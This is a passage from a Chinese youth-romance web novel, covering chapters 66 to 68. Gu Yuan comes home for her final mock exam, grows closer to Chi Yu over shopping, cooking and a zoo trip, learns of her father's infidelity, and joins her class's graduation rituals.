换了衣服洗漱好下楼，家里只剩下姜煦庭了，姜温华去了公司，韩淑怡去了医院。
姜煦庭听到脚步声抬头看过来，问她，“是不是最近压力太大了，要不要休息几天？”
顾鸢拉开椅子坐下，“不用，我在和朋友打电话。”
“抱歉。”姜煦庭神色一顿，“是那个叫迟瑜的朋友？”
顾鸢微微蹙眉，姜煦庭又赶紧说道：“我不是要打听你的隐私，就是正常的哥哥关心妹妹。”
顾鸢低头吃了口培根，“如果妈妈的情况稳定下来，我五月份应该就能回去。”
姜煦庭已经吃完，擦了擦嘴巴，然后正坐在餐桌前，“还是想在国内读书？”
顾鸢没说话，但姜煦庭也懂了她的意思，“我先走了，有事给我打电话。”
“好。”顾鸢要起身送他，姜煦庭说道：“季羽应该快到了，你好好上课。”
……
等课上完，顾鸢立马回了房间直接给迟瑜打去视频通话。
天气逐渐变热，上火的不止是曹军平，还有迟瑜。叶蔓茹起初还以为是她的汤有问题，可反复研究了食材之后发现就是迟瑜自己的问题。
浴室的花洒还开着，放在洗手台上的手机突然响了起来，迟瑜长手一勾拿了起来，等到看清是谁打来的之手，手一哆嗦，手机差点调到地上。
迅速冲完澡穿上衣服，连头发都没来得及擦迟瑜就接通了视频。
顾鸢怎么也没想到，打个视频会被这样的画面击中。
支吾了半天顾鸢才开口，“你在洗澡？”
迟瑜拿了一条毛巾边擦头发边回她，“在洗头。”
你看我信吗？
顾鸢很想移开视线，
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可眼睛就是不受控制的粘了上去，喷薄鼓胀的肌肉，修长的脖颈，利落的喉结，要落不落的水珠。
顾鸢很有理由怀疑他是故意的。
她张了张嘴巴，脱口而出，“你怎么不擦干啊？”
空气中突然寂静起来。
顾鸢强装镇定地继续看着屏幕里的人。
迟瑜擦头发的手一顿，把手机移开。
低头看了眼自己的穿着，确定没有问题才打开门出去往房间走，自动略过了顾鸢的问题，问道：“你没上课？”
“刚结束。”顾鸢坐在沙发上怀里抱着一只白色的小熊，她眨了眨眼睛，说道：“你额头上是什么？”
迟瑜扒拉了两下刘海挡住那颗显眼的痘痘，语气有些不自然，“没什么，你看错了。”
顾鸢：“我也没说看到了什么。”
迟瑜：“……”
“咳，你还没说，到底是谁胆大包天竟然敢在教室放小猪佩奇。”顾鸢抓了抓小熊的耳朵，偷偷截屏。
迟瑜挑眉，“真猜不到？”
顾鸢：“真是你？”
迟瑜轻笑了一声，视线紧紧地锁在顾鸢的脸上，语调懒散玩味，“谁让我是你的绯闻男友，你不在不得是我上。”
顾鸢咬唇，被他的话闹的心跳加快，脸颊也开始发色，她立马转移了话题，“曹老师没把你怎样吧？”
迟瑜扬了扬唇，眼里笑意渐浓，“没有，老曹现在对我是又爱又恨，当然不会把我怎么样，顶多是高考完了再算账。”
在顾鸢看不见的地方，迟瑜手里把玩着那个星星灯。
顾鸢笑道：“你也不要气他，估计他被校领导骂的不轻。”
迟瑜轻轻嗯了一声，目光灼灼地看着屏幕里的女孩儿，唇角缓缓翘起。
“言酥和祁蓉她们怎么样，江皓阳是不是去考试了，肖毅这次考的不错吧，咱们班超过一班了没有？”顾鸢眼眸一转，八卦道：“徐百川和言酥怎么样了？”
迟瑜勾了勾唇，似笑非笑道：“问了一圈，就不问我，我在你心里这么不重要啊？”
顾鸢咬唇，视线有些不自然地移开，“没有，我不是问过你了？”
迟瑜眉梢稍扬，“问我什么？”
顾鸢：“最近忙吗？”
迟瑜：“……”
舌尖在口腔裹了一圈，迟瑜噗嗤一声笑了出来，语气有些玩味，“真是独特的问候。”停顿了下，他又说：“你呢，老曹说把二模的卷子给你发了一份，感觉怎么样？”
“当然好了，你还是被我压在下面。”顾鸢没有注意到迟瑜突然一暗的眼眸，说话的语气颇有几分得意，“想要考过我可不容易。”
迟瑜定定地看了她几秒钟，确定她只是随口一说，侧脸的咬肌紧绷着，眼眸比刚才更暗，嗓音也沉沉的有些哑，“我一定会考过你。”
顾鸢扬唇，“好啊，我等着。”
两人又聊了一些七七八八的小事，最后是顾鸢挂断电话才作罢。
-
肖毅发现迟瑜的心情突然变好了，以为是他终于考了第一高兴，胳膊搭在他肩膀上开玩笑地说道：“考了第一就这么高兴，这气色都变好了。这一个月我看你天天沉着脸，大气都不敢喘一下。”
迟瑜高兴，就任由他搭着胳膊，“曹老师把试卷发给顾鸢了，我的分数还是没有她的高。”
肖毅：“……你就不能找个正常人来比？你要是能考过顾姐除非她放水。再说了这有什么可高兴的？”
迟瑜往旁边退了一步，肖毅一个不慎差点跌倒，“干什么，我实话实说而已。”
迟瑜乜他一眼，“实话你也可以不说。”
肖毅又悄摸兮兮的凑到迟瑜的耳朵旁边说道：“班里好多人都说顾姐也要出国了，这是真的还是假的？”
迟瑜冷冷地斜睨着他，肖毅慢慢站好，嗫喏道：“不是真的吧？”
迟瑜冷声道：“不是，三模考试她会参加。”
肖毅立马说道：“我就说嘛，顾姐肯定会回来的。”
迟瑜垂着眼并没有回他的话。
66. 收费
自从上次在医院见到墨熠之后，顾鸢见他的次数越来越多。
有一次刚走到病房门口，顾鸢就听到里面有人说话，她下意识地止住了脚步。
病房的门开了一条小缝，顾鸢靠在墙上，可以清楚的听到里面说话的声音。
“你别来了，我怕浅浅会多想。”
“你又没答应我，我俩之前清清白白的，有什么可多想的。”
“你别这样，别说我不知道自己还有多长时间，就是我真的好了，也没有再婚的打算。”
“你也别多想，我没有逼你的意思，就像现在这样，我们算是朋友，这不就挺好的。”
“你……”
“来，吃点，新鲜的。”
顾鸢默默地离开，等墨熠走了才回去。
姜女士的气色明显好了许多，看到顾鸢进来眼睛也亮了一些，“浅浅，复习的怎么样？你表哥找的老师能适应吗？”
“没什么问题，季老师讲的很好。”顾鸢把走到窗户前往下看了一眼，墨熠正仰头看着姜之遥病房的方向。
顾鸢又说道：“如果妈妈的情况稳定了，我想三模考试的时候回去。”
姜之遥愣住，须臾才说道：“好，是应该回去的，还要拍毕业照。”
顾鸢沉默了一会儿，还是打算问出心底里疑虑，“妈妈，我还有一件事想问您。”
“你说。”姜之遥说道。
顾鸢的双手放在身前紧紧拉着，舔了舔唇瓣，又闭了闭眼睛，最后才说道：“您跟我爸爸离婚，除了感情不合，您生病，还有其他的原因吗？”
姜之遥的神色怔了一瞬，过了片刻才说道：“有些事情的结果是早就注定好的，所以不管过程发生了什么，结果都不会改变。”
顾鸢：“所以有我爸爸的原因是吗？是什么？出轨？”
病房里安静了许久，姜之遥轻轻叹了口气，点了点脑袋，“是。”
顾鸢只觉得身体里的血液直冲大脑，整个人都不知道要做什么反应。
离开医院后，顾鸢一个人走在街上，来往车水马龙，一帧又一帧的画面从脑海里闪过。
她一直敬爱的父亲，竟然会做出这种事，所以从小疼爱自己的那些，也是假象吗？
应该也是有真心的吧。
不然还有什么是真的呢。
-
一个月的时间很快又过去，姜之遥的情况目前还算稳定，顾鸢也赶在三模考试的前一天回了宁宜。
顾鸢最佩服的就是姜女士的执行能力，虽然那套房子卖了，但转头就又买了一套。
顾鸢到的时候已经是下午，从物业那里取了钥匙，看了一圈出来给姜女士报了平安顾鸢就瘫在沙发上睡着了。
傍晚的时候，手机响了好一会儿顾鸢才眯着眼睛摸到手机，有气无力地接通电话。
“喂—”
“你在哪儿啊？”
顾鸢唰地睁开眼睛看向手机屏幕，“迟瑜？”
“我在家里，下了飞机之后太困就睡着了。”
十五分钟后，顾鸢远远看到小区门口迟瑜在和一个男人说话，那个背影有些眼熟，可她一时也没想起来是谁。
等走进了才看清楚。
——曹军平！
曹军平晚饭时间回了趟家里取了个东西，结果刚出去就在小区门口碰到迟瑜，自然就拉着他聊了起来。
在没被曹军平发现之前，顾鸢连忙找了个地方躲起来，抬头的时候正好和门卫的视线对上。
顾鸢：“……”
好在没说几句曹军平就走了，顾鸢僵着脸从保安室退出去。
“叔叔您忙。”
鞠了个躬，顾鸢立马转身跑开。
迟瑜没有穿校服，白色T恤搭配黑色工装裤，干净又利落，他单手插在兜里，唇角微微勾起，身后的晚霞和落日彷佛成为了背影，有淡淡的光晕散开，好像画里走出的少年。
顾鸢抬脚朝他一步一步走过去，直至踩到他的影子才停下。
微仰起头，顾鸢笑着说道：“刚才是曹……”
“你不先问我。”迟瑜打断她的话，蓦地俯身凑近，视线紧紧地锁在她脸上，瞳眸漆黑深邃，里面像是有漩涡一般要将人吸进去。
“呃，好久不见？”顾鸢歪了歪脑袋，“两个月也没有很久吧。”
迟瑜噗地笑了一身站直了身体，“要回学校吗？”
顾鸢：“不了，明天直接去考试。”
迟瑜点头，“好，那我们去买笔？”
“要不再陪我去吃饭呢？”顾鸢摸了摸肚子，“还是在飞机上吃了点，如果不是你来了，我就点外卖了。”
……
出了小区拐了个弯就有一家超市，虽然不是很大，但里面应有尽有，两人先去了学习用品区。
迟瑜站在顾鸢旁边看着她挑选，翘起的唇角就没有下来过。
顾鸢之前的2B铅笔放在宿舍了，所以直接拿一套新的。
两人刚出来，就有一对年轻的情侣推着推车从两人面前走过。
女生：“亲爱的，你想吃什么，晚饭我来做。”
男生：“怎么能让我家宝贝动手呢，当然是我来了，你看着就好。”
女生：“那好吧。”
男生松了口气。
顾鸢走了几步见迟瑜没动，又回去叫他，“怎么了，你还有要买的东西吗？”
迟瑜一本正经地说道：“你不需要再买些水果之类的吗？”话落也不等顾鸢回答就开始行动，“我去推车。”
顾鸢：“……”
迟瑜推着推车，里面放了一套2B铅笔，顾鸢随手拿了几包零食丢进去，想到什么又取了出去放回去。
迟瑜问她，“怎么又放回去了？”
顾鸢有些依依不舍地移开眼睛，说道：“马上要考试了，要先把零食戒掉。”
迟瑜看着女生的侧脸，手指微微捏紧，说道：“其实去外面吃也不是很干净，要不回去做？”
顾鸢认真思考了一会儿，点了点脑袋，“也好，我给你露一手。”
迟瑜想说不用，但看她兴致很高也就没说什么。
顾鸢还是第一次买食材，因为不怎么懂，迟瑜说拿什么她就拿了什么。
迟瑜：“吃鱼可以吗？”
顾鸢：“当然可以，我最喜欢吃鱼。”
“小俩口看着很年轻呀，这是要自己做饭？”大妈热情地说道。
顾鸢：“阿姨我们不是……”
迟瑜：“阿姨就要这条。”
顾鸢偏眸盯着迟瑜，迟瑜淡定地从阿姨手里接过鱼，临走的时候又对阿姨说道：“阿姨，我们还没有在一起。”
阿姨笑呵呵地应声，“是是是，还没有，我看也快了。”
顾鸢脸颊微热，抿着唇直接离开。
迟瑜勾着唇跟在她后面。
来的时候就想着买笔，结果出超市了才发现是满满的两大袋子。
从超市出来的时候天色已经暗了许多，蝉鸣声此起彼伏，聒噪里有一处寂静，却一点儿也不失违和。
“我还是之前的考场和考号吗？”顾鸢突然问：“上次二模考试我没参加，是不是要去最后一个考场了？”
“谁去都不可能是你去。”迟瑜换了只手继续说道：“老曹不是把卷子给你发了一份，分数他都知道，所以你还是在一考场1号。”
顾鸢看他提了那么多，问道：“要不我再拿一点吧，你的这袋子看着就很重。”
迟瑜轻笑了一声，脸上的笑意明晃晃的闪的顾鸢有些不好意思，刚才出来的时候东西装了两个袋子，顾鸢就提了一些没什么重量的东西，大多数都在迟瑜手上的袋子里。
“我能让你拿？”迟瑜用空的一只手揉了下顾鸢的脑袋，“要是真觉得重就走快一点，不是饿了？”
“真不用吗？”顾鸢问：“要不鱼我拿着。”
本以为他不答应，没想到迟瑜立马就说好。
言毕迟瑜把鱼塞到顾鸢手里，还顺势拿走了她手里的那个袋子。
顾鸢：也没什么变化吧。
回到家里，顾鸢把门打开先把鱼放进厨房，然后去接迟瑜手里的东西。
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厨房的东西都是新的，柜子里也都是空的，顾鸢把瓶瓶罐罐的都取了出来，迟瑜在洗手的时候顺带洗了一盒草莓。
“先垫垫。”把草莓塞到顾鸢手里，迟瑜才开始收纳。
顾鸢正拿着草莓要往嘴里塞，迟瑜突然走到她前面，而且两个人之间的距离越来越近，迟瑜身上淡淡的薄荷味袭来，顾鸢彷佛听到了加速的心跳。
顾鸢的后腰抵在抬面，身体慢慢往后仰，手里的草莓转了个方向落到迟瑜唇边。
迟瑜稍怔，转而张开嘴巴含住草莓，唇瓣不小心擦过嫩白的指腹，温软的触感直击天灵盖，顾鸢只觉得那只手臂都要酥了。
顾鸢：“你……”
吧嗒，柜子打开又合上，迟瑜垂下脑袋气定神闲地说道：“怎么了，我放个东西。”
“没什么。”顾鸢一把推开迟瑜，快步走到餐桌前坐下。注意到迟瑜不解的目光，顾鸢强装镇定地说道：“我在里面会妨碍你，在这儿正好。”
迟瑜勾了勾唇，正要说话，顾鸢又说道：“要是想吃草莓，你就再洗一盘。”
迟瑜懒懒地点了点脑袋，似笑非笑道：“行。”
吃了几颗顾鸢就去收拾房间了，本来打算先铺床的，但顾鸢只弄了一会儿床铺就变得乱七八糟的，仔细想了想，她还是决定先收拾行李。
把行李箱里的衣服挂到衣柜里，一些零碎的小东西也收拾好，顾鸢累的躺在床上一动不动。
迟瑜叫了好几声都没有人应，等走到门口才发现顾鸢似乎睡着了。
放轻脚步走进去，看到行李箱还大刺刺地躺在地上，迟瑜弯腰把它放好。
顾鸢听到声音从床上坐起来，她揉了揉眼睛，嗓音温软，“饭好了？”
迟瑜控制住了想要揉她脑袋的冲动，低低地嗯了一声。
靠！怎么这么乖。
顾鸢脚步半飘着走到餐厅坐下，原本还在混沌的脑袋立马就精神了，“这么丰盛？你好厉害。”
“可是我们两个能吃完吗？”
“放心，能吃完。”迟瑜舀了半碗汤放到顾鸢面前，“先喝点暖胃。”
顾鸢抿了一小口，当即朝他竖起大拇指，“好喝，你真的不考虑以后开店吗？我们合作一定可以开成全国连锁。”
迟瑜又给她添了一点，语气有些玩味，“那以后你想吃我做的饭就不容易了。”
“那算了，你还是只给我一个人做吧。”顾鸢想也没想就说道。
话落，餐厅有一瞬的寂静。
顾鸢磕磕绊绊，开始胡言乱语，“我的意思是我真有本事能让你给我下厨。”
“不是，我的意思是你的厨艺真的很厉害，很棒。”
“……”
“我手机好像响了，我去拿。”
飞快逃离餐厅，顾鸢在房间里找了一圈，最后才想起来手机就在客厅。
从房间里出来，顾鸢刚坐下迟瑜就朝她看来。
顾鸢立马坐直。
迟瑜：“再不吃就凉了。”
顾鸢松了口气，还好那个话题过了。
吃完饭两人一起收拾完顾鸢又躺在沙发上回消息，迟瑜坐在旁边的单人沙发上。
两人没有交流，也和不打扰，气氛却又莫名的和谐。
回完最后一条，顾鸢站了起来，迟瑜也抬起脑袋看她。
顾鸢：“我还没收拾好。”
迟瑜放下手机，“我帮你。”
顾鸢眨眨眼，也不是这个意思。
看到一片狼藉的床铺，顾鸢抿着唇微笑。
迟瑜先把被子抱起来放到飘窗上，然后拆开床单一抖一扬，再整理一下就好了。
顾鸢把被罩给他。
站在床边看着迟瑜弯腰捏着被角，顾鸢总有种不真实地感觉。
这个进度，是不是有点不对啊？
迟瑜回头就看见迟瑜呆呆地望着自己，伸手在她面前晃了晃，迟瑜俯身说道：“又盯着哪儿看呢？下次可就收费了。”
顾鸢：“多少？现金还是刷卡？”
迟瑜：“……”
67. 看呆
三模考试一过意味着高中生涯即将结束，有不少人开始写同学录，顾鸢也被祁蓉和言酥拉着买了一本。
一回到教室，顾鸢就看到自己的桌子上放了一沓，还好每一张都用铅笔写了名字，不然都不知道是谁的。
顾鸢刚坐下，前面的陈哲明就转了过来，手里拿了一张同学录放到顾鸢的桌子上，“给我也写一份吧。”
“好啊。”
上课铃拉响，顾鸢接过来和那些都先收到一起放进桌仓里。
曹军平进来之后问大家关于班服的事情，“有什么想法大家都说一说，毕竟一辈子就这一次。”
肖毅举手说道：“老师，可以定个潮流款式的吗？”
有人迎合道：“再加一个大金链子。”
曹军平低斥一声，“我给你们俩单独弄两条金链子。”
开玩笑的几个默默闭嘴。
曹军平继续说道：“是这样的，十六班定的是汉服，我们班不如……”
“我们才不和他们选一样的。”
“不如我们就选民国的？”
其他人一听也觉得可以。
曹军平：“同意的举个手。”
除了极个别的几个，大多数都同意，曹军平拍板，“那就这样，少数服从多数，我去选款式。”
等曹军平一走，顾鸢把那沓同学录拿出来写，末了还不忘对迟瑜说：“帮我看着老师。”
迟瑜淡淡地瞥了一眼，手指扒拉了一下，“这么多，不嫌麻烦？”
“不麻烦啊，大家不是都在写。”顾鸢说着拿起最上面陈哲明的那张开始写。
姓名：顾鸢
生日：6月25日
联系方式：……
等这一沓写完，刚好自习也下了，顾鸢放下笔揉了揉手腕。
祁蓉拍了拍顾鸢的肩膀，小声说道：“我今晚一直静不下心，你能陪我下去走走吗？”
顾鸢点头，“好啊。”把同学录先放到抽屉里，顾鸢起身和祁蓉往外走。
楼下有去小超市的，也有在花园里散步的。
顾鸢挽着祁蓉的胳膊，安慰道：“你别紧张，放轻松，不要多想。”
祁蓉的眉毛皱的紧紧的，叹了口气说道：“我也不想多想，可我就是有点害怕，要是没考好，那我是不是要……”后面的话她没说完。
“要不这样，我们明天去动物园玩，放松一下应该会好点。”顾鸢说道：“你爸妈应该也同意吧。”
祁蓉眼眸一亮，笑着眯起眼睛，“如果我说是和你一起去，他们肯定同意，我爸妈对你可是一百二十个放心。”
“那就这么决定了，等会儿进去了告诉他们几个。”顾鸢拉着她挤进超市，“好久都没有吃那个软糖了，在哪边来着？”
祁蓉左右看了下，“好像在那边。”手指正好指在凌熙诺身上。
顾鸢想到一些事，拉着祁蓉走了出去，软糖也没有买。
祁蓉小声问她，“你怎么在躲着凌熙诺，你们之间是不是发生了什么？”
顾鸢摇摇头，“不是，我确实不想看见她，但跟她没有太大的关系。”
祁蓉没听清楚这话是什么意思，但看顾鸢不愿意多说，她就没有再问。
上自习之后曹军平把选好的班服照片给大家看，男生的是黑色的新中式立领民国中山装，就不用再选了。
女生的就比较多，光是上衣的颜色就有好几种，再不用说各种颜色裙子的搭配。
最后大家选了蓝色的倒大袖上衣和白色裙子。
晚上放学之后，迟瑜见顾鸢兴致不高，以为她不想去动物园，温声说道：“实在不想去可以跟祁蓉说。”
“不是。”顾鸢数着脚下的砖块，嗓音轻轻地说道：“是我碰到凌熙诺了，虽然我知道她没什么不对的地方，可我就是不太想看到她。”
“上次也是，我不喜欢她妈妈，所以才会那样做。”顿了几秒，顾鸢说话的声音更低，“我是不是有点无理取闹？”
迟瑜舒缓的嗓音从头顶响起，慢慢落下来带着无比的坚定，“没有，你的做法没有问题。这样的事换做其他人未必有你这么大度。”
顾鸢诧异地抬眸，“你知道？”
迟瑜抬手揉了揉她的脑袋，“抱歉，我也是前段时间你在国外的时候才知道的。”
顾鸢喃喃道：“什么？”
肖毅有天早上突然肚子疼，校医室的医生那天正好不在，迟瑜和徐百川只好把他带到医院，结果碰到了顾绍辉和凌紫薰。
说巧也不巧，迟瑜恰好听到了他们的谈话。
凌紫薰拿着孕检报告兴奋地对顾绍辉说道：“太好了绍辉，你有儿子了，熙诺有弟弟了，我们儿女双全了。”
凌紫薰生凌熙诺的时候才19岁，现在也就是37岁。
当年她下药和顾绍辉有了凌熙诺，可因为生的是女儿，不管她怎么服软撒娇顾绍辉始终不愿意和姜之遥离婚娶她，直到三年前她设计让姜之遥看见顾绍辉和她出轨的场面，顾绍辉和姜之遥这才离婚。
凌紫薰一直都知道顾绍辉想要一个儿子，可姜之遥不愿意再生，顾绍辉就不敢再要求。
而她终于怀上了儿子，这下顾绍辉肯定愿意和她领怔了。
听迟瑜说完，顾鸢沉默良久。
“还好吗？”迟瑜温声问。
顾鸢淡淡道：“还好，能接受。”
事已至此，还有什么是不能接受的？
把顾鸢送回家，迟瑜盯着她看了好久，“难受就听听歌。”
顾鸢扬唇笑了笑，“真没事，本来我还在愧疚上次是不是过分了，既然是这样我也就没什么好顾虑的，反而心安了不少。”
迟瑜仔细辨别她脸上的神情，“真没事？”
“真的没事。”顾鸢十分认真地说道：“因为失望太多次了，现在就无所谓了。”
所以攒够了失望不是绝望，而是无所谓。
看迟瑜还不走，顾鸢眼眸一转，打趣道：“要不你留下来陪我？”
迟瑜：“……你家的客房……”
顾鸢怔住，“我就是随便一说。”
见迟瑜沉默，顾鸢赶忙继续说道：“我真的是开玩笑的，你快回去吧。”
迟瑜微低着脑袋，视线沉沉地压下来看向顾鸢，嗓音也压得低，“顾鸢，有些话是不能开玩笑的。”
“我……”顾鸢有些心虚地撇开眼，“我要休息了。”
迟瑜微不可察地叹了口气。
……
等迟瑜走了，顾鸢卸下力气瘫在沙发上，眼皮慢慢耷拉下来，遮住了眼底的情绪。
说不在意是有点假，但也没有那么难受，或许是做过预设，这个结果倒也在预料之中。
洗漱完之后，顾鸢很快就睡着了，以至于床头的手机闪了好几下她都不知道。
-
次日一早，顾鸢站在衣柜前挑了半个小时才终于挑好了
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衣服。
动物园九点开门，八点五十顾鸢到的时候徐百川和言酥还没到，陈静有事来不了，江皓阳拒绝一切玩乐项目，在家里疯狂背书。
肖毅也不知道在兴奋什么，一直在说话，看到顾鸢过来才停下，调侃着说道：“顾姐，今天有点不一样啊。”
顾鸢飞快地看了迟瑜，“有吗？”
“怎么没有？”肖毅的胳膊搭在迟瑜肩上，问他，“你说呢？”
迟瑜淡淡地嗯了一声，然后自然地拿过顾鸢的挎包。
“我们先进去，徐百川和言酥晚会儿才到。”
祁蓉上前挽住顾鸢的胳膊，“我们走吧。”
等进去了，祁蓉凑到顾鸢耳边小声说道：“刚才迟瑜的视线就没从你身上下来过，眼珠子就差没挂在你身上了。”
顾鸢浅浅地笑了笑，大家在学校里的时候都不太注意自己的形象，尤其是到了高三，通常晚自习结束头发都散了，所以稍微打扮一下就会变个样子。
在里面等了会儿，人来齐之后大家从步行区开始游玩，由于步行区较大，大家（女生）一致选择乘坐观光车。
顾鸢和迟瑜坐在后排，因为匆忙出来没吃什么东西，顾鸢从包里拿了一个面包和一盒牛奶，想到旁边的迟瑜，还不忘问他，“你要不要？”
“早餐没吃？”迟瑜问。
“没来得及，要吃你自己取。”顾鸢的肚子已经饿的开始抗议了，没有再管迟瑜，她拆开包装就吃起来。
迟瑜沉默了看着她，等她吃完才说道：“你不会打算接下来一个月早餐都只吃面包吧？”
顾鸢扬了扬手里的牛奶，“不是还有它。”迟瑜正要说什么，顾鸢又补充了句，“这不是你买的吗？”
迟瑜：“……”
前面的肖毅和祁蓉疯狂挤眼睛。
肖毅：“不对劲吧？”
祁蓉：“有大问题。”
……
肖毅是真的乐观，学着小孩子朝羊驼吐口水，结果反被羊驼喷了一脸，好在其他人躲得快，不然肯定要波及。
祁蓉笑得捂住肚子，递了包纸巾给他，“你怎么这么逗啊？”
肖毅僵硬着脸，双眸死寂，“我哪知道它真吐。”
迟瑜偏眸问顾鸢，“要不要去那边？”
顾鸢点头，“好啊。”
环尾狐猴没有攻击性，可以入围栏体验，顾鸢从包里拿出葡萄干，取了几粒放到手心蹲下来，猴子就循着来吃了，它还会把瓜子放到人的手里，软软的，顾鸢捏了捏都不想松开。
玩了好久，顾鸢看向还站着的迟瑜，问他，“你不玩吗？”
迟瑜停冷酷地说道：“不玩。”
顾鸢朝他伸手，“那你把葡萄干给我。”
迟瑜：“……”
把东西塞到顾鸢手里，迟瑜就站在一旁盯着那只猴子看。
眼看着顾鸢已经在这儿待了快半个小时，迟瑜直接夺过剩下的葡萄干装进包里。
顾鸢&猴猴：？？？请问呢？
迟瑜平静地说道：“它吃饱了，不是还要去看鹈鹕？”
顾鸢站了起来，结果因为蹲的太久腿麻了，在跌倒之前迟瑜一把将人扯进怀里。
顾鸢的一只手抓着迟瑜的胳膊，一只手抓着他腰侧的衣服。
好像是硬的？
还没弄清楚到底是什么感觉，迟瑜就要扶着她到旁边坐下。
顾鸢低呵一声，“你别动。”
68. 抱紧
从动物园回来之后，祁蓉的状态好了一点，反而是肖毅又开始紧张，不过他的调节能力好，没几天就好了。
很快到了月底，定制的班服也到了，下午最后一节课曹军平把班服发了下来让大家先试穿一下，有不合适的就要换。
顾鸢在学校的那间宿舍还没有搬，班里的几个女生问能不能去她哪儿试，顾鸢欣然答应。
顾鸢几人刚进宿舍大厅，凌熙诺正好出来。
都不用顾鸢做反应，祁蓉就拉着她往里走，“赶紧试完我们还要去吃饭呢。”
余荔平静地说道：“你们不是都在晚读的时候出去吃？”
祁蓉和其他几个女生：“哈、哈哈哈……”
原来知道啊，还以为她们做的很隐蔽呢。
把房间留给她们，顾鸢去了洗手间换，换好以后刚出去就被祁蓉卡掐住腰。
“顾鸢，可以给我抱一下吗？”
说完也没等顾鸢答应，这姑娘就直接上手。
顾鸢忙往后躲，一边躲一边说：“我怎么没发现你还有流氓的潜质。”
班里另一个平时比较大胆的女生也凑了过来，“嘿嘿嘿，也让我抱抱呗。”
顾鸢大惊，“别过来，余荔，你快管管她们。”
余荔假装没听见，问旁边的一个女生，“这个裙子是不是有点长了？”
女生：“是有点。”
闹了一会儿，确定衣服没有问题大家收拾好东西就回教室了。
呆在在学校的最后一周，大家开始收拾东西陆续往家里带。
拍毕业照的前一天，顾鸢打算把他们先放到学校的宿舍里。
因为太多一次拿不完，顾鸢打算跑两趟，手刚伸出去，旁边的迟瑜二话不说全部抱起来往外走。
顾鸢一惊，急忙说道：“你留一点给我拿吧，这太多了。”
迟瑜回头看了眼，眉梢稍扬，散漫地说了句，“还不快跟上。”
夕阳从侧面照过来，男生额前的碎发泛着淡淡的黄，人落在光里，脸部线条也有些模糊。
顾鸢勾了勾唇，手搭在上面打算取一些。
“别看不起我行吗，这才几本书。”迟瑜侧眸看向顾鸢，眉眼带着明晃的笑意，“帮我看着点路。”
顾鸢看他手臂的青筋因为用力鼓了起来，还是说道：“要不抱不动了就跟我说。”
迟瑜眄了眼她，没说话。
这会儿正是晚饭时间，往宿舍里抱书的人很多，宿管阿姨站在一楼大厅，让帮忙的男生都把书放到大厅不让他们进去。
迟瑜把书放到角落，起身的时候呼吸微喘，面色看上去却很正常。
“我在这儿帮你看着。”
顾鸢点头，“好。”
顾鸢抱了三趟，又检查了一遍宿舍才把门关上出来。
迟瑜正倚墙站着，路过的人把目光投到他身上，他就没感觉到一样，淡然地低头看手机。
顾鸢走过去说道：“我好了，走吧。”
迟瑜抬起脑袋，把手机收兜里，淡淡嗯了一声。
从宿舍出来，顾鸢看着校园里来往的学生，忽然有一瞬的恍惚。
高中三年，真的结束了。
腕骨突然被攥住，顾鸢被迟瑜拉着往旁边走了一步，两个抱着书的女生走了过去。
“想什么呢？”迟瑜拉着顾鸢站好才松开手，“舍不得了？”
“突然发现高中过的真快。”顾鸢问他，“你没感觉到吗？”
“我无所谓，反正肯定是要补习的，再来一年还不得照样累成狗，舍不得个毛啊。”一个路过的男生说道。
顾鸢朝迟瑜看去。
“我的成绩用得着复习？”迟瑜嗤了一声，“也没什么舍不得的，长大了不好吗？”
顾鸢若有所思，“好像是这样。”
……
晚上，晚自习刚上没一会儿，楼上补习班突然尖叫起来，紧接着上面就开始往下飘试卷。
还没来得及反应，隔壁半夜疯了似的叫起来，窗户外都是往下飘的纸张，有些甚至落了进来。
“靠，我也要撕。”肖毅站了起来撕碎了文件夹里的卷子朝窗外扔出去。
紧跟着大家都抱了一沓没用了的复习资料从前后门跑了出去，坐在窗户旁边的同学也开始天女散花，外面的走廊上到处都是人。
祁蓉拉着顾鸢往出走，“我们也去呀，终于可以撕了。”
“等等。”顾鸢把重要的笔记和课本塞进书包里，然后和祁蓉跑了出去。
“哇——”
“哦——”
“物理，我们再也不见——”
“阿数，爱我一回能怎样？”
……
积压在心底的那口气终于可以发泄出来，有的同学撕着撕着就哭了起来，还有放声大叫的，有跟梦想的学校表白的，……
顾鸢和祁蓉丢完了手里的卷子，被大部队裹挟着到了楼下。
仰着头从下往上看，片片雪白掉落下来，昏黄的灯光映衬下，美的好像是一场幻境。
突然，不知道是谁起的头，大家都开始唱歌，祁蓉拉着顾鸢的手也跟着摇啊摇，加入了大合唱。原本还处在兴奋中的人突然就红了眼眶。
蝉鸣成了伴奏，歌声激昂又带着淡淡的悲伤。
等玩够了，各班班主任开始叫学生回教室，不知道哪个年级的学弟突然喊了一声，“学长麻烦把垃圾带走啊。”
“哈哈哈……”
周围哄笑声一片。
“麻烦学弟了。”
……
回到教室后，曹军平缓缓走上讲台，这次没有拿他的保温杯。
“明天早上拍毕业照，大家可以稍微来的晚一点。今晚回去了就把头发洗洗，明天来的时候把自己多少也捯饬捯饬。班服记得穿，要是有想穿校服拍的也可以拿上。”
看着下面一个个相互陪伴了三年的小崽子，曹军平的心里也涌出一股不舍，“行了，就这些，关于考试的明天了我再强调。”
曹军平离开后，班里有一瞬的寂静，大家都没有说话，低头默默收拾自己的东西。
-
晚上回到家，顾鸢洗完澡出来手机正在响，是姜女士打来的电话。
“浅浅，妈妈联系了刘阿姨，高考那几天她来给你做饭，你墨叔叔说你和他的儿子正好在一个考场，那两天他就负责接送你们两个。”
顾鸢倒水的手一顿，几秒后莞尔一笑，“好。”
“明天要拍毕业照是吗？”姜之遥又问。
“是，明天会拍毕业照，然后就不用去学校了。”顾鸢抿了口水，走到沙发前坐下。
“好，那你早点休息，拍了照片也给妈妈发一些。”
“嗯，妈妈再见。”
挂断电话后，顾鸢把抱枕抱在怀里盘腿坐在沙发上。
祁蓉几分钟前给她发了条消息。
【顾鸢，我看了一下明天穿班服的话就要梳这个麻花辫的发型】后面还附带着一张图片。
顾鸢盯着照片看了几分钟，然后退出聊天软件在网上找编发教程。
坐在梳妆台上倒腾了大半个小时，头发都要打结了一个像样的麻花辫也没弄出来。
祁蓉：【正好我有两对好看的发圈，明天我们俩一人一对】
顾鸢：【你会编头发吗？】
祁蓉：【会啊，这不是很简单的事情】
确实简单，之前还送了她一个自己做的平安香囊。
顾鸢又问：【那你明天也帮我弄一下】
祁蓉：【你不会啊，震惊jpg】
顾鸢对着自己乱糟糟的脑袋拍了一张照片给她发过去。
祁蓉：【交给我了】
顾鸢：【感谢，拱手jpg】
把头发梳开，顾鸢就去休息了。
-
另一边，叶蔓茹意味深长地看着迟瑜取了片她的面膜给自己敷上。
